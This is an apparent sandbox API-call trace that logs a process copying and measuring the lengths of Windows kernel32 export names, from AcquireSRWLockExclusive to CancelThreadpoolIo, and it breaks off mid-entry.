[0106.681] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0106.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0106.681] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0106.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0106.681] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0106.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0106.681] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0106.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0106.681] lstrlenA (lpString="ADDATOMA") returned 8 [0106.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0106.681] lstrlenA (lpString="ADDATOMW") returned 8 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0106.682] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0106.682] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0106.682] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0106.682] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0106.682] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0106.682] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0106.682] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0106.682] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0106.682] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0106.682] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0106.682] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0106.682] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0106.682] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0106.682] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0106.682] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0106.682] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0106.682] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0106.682] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0106.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0106.683] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0106.683] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0106.683] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0106.683] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0106.683] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0106.683] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0106.683] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0106.683] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0106.683] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0106.683] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0106.683] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0106.683] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0106.683] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0106.683] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0106.683] lstrlenA (lpString="BACKUPREAD") returned 10 [0106.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0106.684] lstrlenA (lpString="BACKUPSEEK") returned 10 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0106.684] lstrlenA (lpString="BACKUPWRITE") returned 11 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0106.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0106.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0106.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0106.684] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0106.684] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0106.684] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0106.684] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0106.684] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0106.684] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0106.684] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0106.684] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0106.684] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0106.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0106.685] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0106.685] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0106.685] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0106.685] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0106.685] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0106.685] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0106.685] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0106.685] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0106.685] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0106.685] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0106.685] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0106.685] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0106.685] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0106.685] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0106.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0106.686] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0106.686] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0106.686] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0106.686] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0106.686] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0106.686] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0106.686] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0106.686] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0106.686] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0106.686] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0106.686] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0106.686] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0106.686] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0106.686] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0106.686] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0106.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0106.687] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0106.687] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0106.687] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0106.687] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0106.687] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0106.687] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0106.687] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0106.687] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0106.687] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0106.687] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0106.687] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0106.687] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0106.687] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0106.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0106.687] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0106.688] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0106.688] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0106.688] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0106.688] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0106.688] lstrlenA (lpString="BEEP") returned 4 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0106.688] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0106.688] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0106.688] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0106.688] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0106.688] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0106.688] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0106.688] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0106.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0106.689] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0106.689] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0106.689] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0106.689] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0106.689] lstrlenA (lpString="CANCELIO") returned 8 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0106.689] lstrlenA (lpString="CANCELIOEX") returned 10 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0106.689] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") 